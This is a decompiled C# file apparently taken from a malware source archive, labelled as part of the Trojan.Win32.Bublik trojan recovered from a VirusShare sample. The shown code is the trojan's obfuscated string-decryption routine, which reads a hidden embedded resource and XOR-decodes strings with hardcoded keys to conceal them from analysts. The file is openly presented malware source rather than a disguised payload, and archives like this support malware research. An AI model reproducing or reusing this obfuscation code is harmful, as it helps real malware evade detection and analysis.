MalwareSourceCode/MSIL/Trojan/Win32/B/Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3/_0008.cs
2022-08-18 06:28:56 -05:00

102 lines
3.5 KiB
C#
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// Decompiled with JetBrains decompiler
// Type: 
// Assembly: server2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A78406EB-6936-436A-BB47-86E06CAA33E0
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3.exe
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
internal static class \u0008
{
private static readonly Dictionary<int, string> \u0002 = new Dictionary<int, string>(47);
private static BinaryReader \u0003;
private static byte[] \u0005;
private static short \u0008;
private static bool \u0006;
private static byte[] \u000E;
private static bool \u000F;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string \u0002(int _param0)
{
if (\u0008.\u000F)
{
string str;
\u0008.\u0002.TryGetValue(_param0, out str);
return str;
}
lock (\u0008.\u0002)
{
string str1;
if (\u0008.\u0002.TryGetValue(_param0, out str1))
return str1;
if (\u0008.\u0003 == null)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
\u0008.\u0006 = false;
\u0008.\u0003 = new BinaryReader(executingAssembly.GetManifestResourceStream(" \u200B \u200B"));
short count = (short) ((int) \u0008.\u0003.ReadInt16() ^ -12299);
if (count == (short) 0)
\u0008.\u0008 = (short) ((int) \u0008.\u0003.ReadInt16() ^ -23699);
else
\u0008.\u0005 = \u0008.\u0003.ReadBytes((int) count);
\u0008.\u000E = executingAssembly.GetName().GetPublicKeyToken();
if (\u0008.\u000E != null && \u0008.\u000E.Length == 0)
\u0008.\u000E = (byte[]) null;
}
int num1 = _param0 ^ -626735467;
\u0008.\u0003.BaseStream.Position = (long) num1;
byte[] numArray;
if (\u0008.\u0005 != null)
{
numArray = \u0008.\u0005;
}
else
{
short count = \u0008.\u0008 != (short) -1 ? \u0008.\u0008 : (short) ((int) \u0008.\u0003.ReadInt16() ^ -7342 ^ num1);
numArray = count != (short) 0 ? \u0008.\u0003.ReadBytes((int) count) : (byte[]) null;
}
int count1 = \u0008.\u0003.ReadInt32() ^ num1 ^ 347177531;
bool flag = (count1 & int.MinValue) != 0;
if (flag)
count1 &= int.MaxValue;
byte[] bytes = \u0006.\u0002(numArray, \u0008.\u0003.ReadBytes(count1));
if (\u0008.\u000E != null != \u0008.\u0006)
{
for (int index = 0; index < count1; ++index)
{
byte num2 = \u0008.\u000E[index & 7];
byte num3 = (byte) ((int) num2 << 3 | (int) num2 >> 5);
bytes[index] = (byte) ((uint) bytes[index] ^ (uint) num3);
}
}
string str2;
if (flag && !\u0008.\u0006)
{
char[] chArray = new char[count1];
for (int index = 0; index < count1; ++index)
chArray[index] = (char) bytes[index];
str2 = new string(chArray);
}
else
str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
if (\u0008.\u0006)
str2 = (_param0 + count1 ^ 936568).ToString("X");
string str3 = string.Intern(str2);
\u0008.\u0002.Add(_param0, str3);
if (\u0008.\u0002.Count == 47)
{
\u0008.\u0003.Close();
\u0008.\u0003 = (BinaryReader) null;
\u0008.\u0005 = \u0008.\u000E = (byte[]) null;
\u0008.\u000F = true;
}
return str3;
}
}
}